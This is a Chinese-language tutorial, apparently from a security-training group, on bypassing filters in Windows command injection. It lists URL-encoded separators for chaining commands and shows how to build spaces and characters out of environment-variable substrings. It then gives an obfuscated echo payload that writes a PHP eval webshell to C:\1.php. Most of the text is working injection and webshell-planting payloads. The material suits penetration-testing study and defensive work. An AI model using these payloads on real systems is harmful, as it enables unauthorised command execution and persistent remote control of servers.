假设执行这两个明明,中间的分隔符fuzz测试:

whoami%7cdir

%7c  ---------- | ---------- 只会执行 后一个命令

%26  ---------- & ---------- 两个命令同时执行

%00  ---------- NULL-------- 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)

%0a  ---------- 换行符------- 执行前一个命令

那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令

whoami&&dir&ipconfig

whoami|dir||ipconfig

这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。

可以用dir /a/b | more这个命令感受一些管道符的魅力

空格替代
这里第一个想到的就是字符截取

set envar=whoami

%envar:~0%     # 取出所有字符

%envar:~0,6%   # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行

使用set可以看到有哪些全局变量是我们可以利用的

现在开始着手从环境变量里取出空格

PSModulePath=C:\Program Files\WindowsPowerShell\Modules

net%PSModulePath:~10,1%user

d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%

利用环境变量在C盘下写一句话,这里需要system权限

echo "123.php

echo "123.php

echo%CommonProgramFiles:~10,1%%TJ:~10,1%<%TJ:~-4,1%%TJ:~14,1%%TJ:~15,1%%TJ:~14,1%%CommonProgramFiles:~10,1%%TJ:~8,1%%TJ:~5,1%%TJ:~16,1%%TJ:~0,1%%TJ:~17,1%(%TJ:~7,1%_%TJ:~14,1%%TJ:~-1,1%%TJ:~22,2%[%TJ:~0,1%])%TJ:~11,1%%TJ:~10,1%>%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%

%CommonProgramFiles:~10,1%  空格

%SystemRoot:~0,3%           C:\

%TJ:~10,1%                  "

%TJ:~14,1%                  p

%TJ:~-4,1%                  ?

%TJ:~15,1%                  h

%TJ:~8,1%                   @

%TJ:~5,1%                   e

%TJ:~16,1%                  v

%TJ:~0,1%                   a

%TJ:~17,1%                  l

%TJ:~9,1%                   \

%TJ:~7,1%                   $

%TJ:~-1,1%                  o

%TJ:~22,2%                  st

%TJ:~11,1%                  ;

a bcde/$@\";fgphvlrequst?

写入成功但是多了双引号,但是echo的时候不加双引号会爆语法错误

我这里给出下面解决思路:

第一种就是在第一个双引号后添加?>使前者闭合,后面的”之前添加一个# 注释掉

我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行

其他无回显和过滤特定函数思路和LInux系统一致

三、总结
bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴点个赞吧! 作者:掌控安全学院 https://www.bilibili.com/read/cv12766059/ 出处:bilibili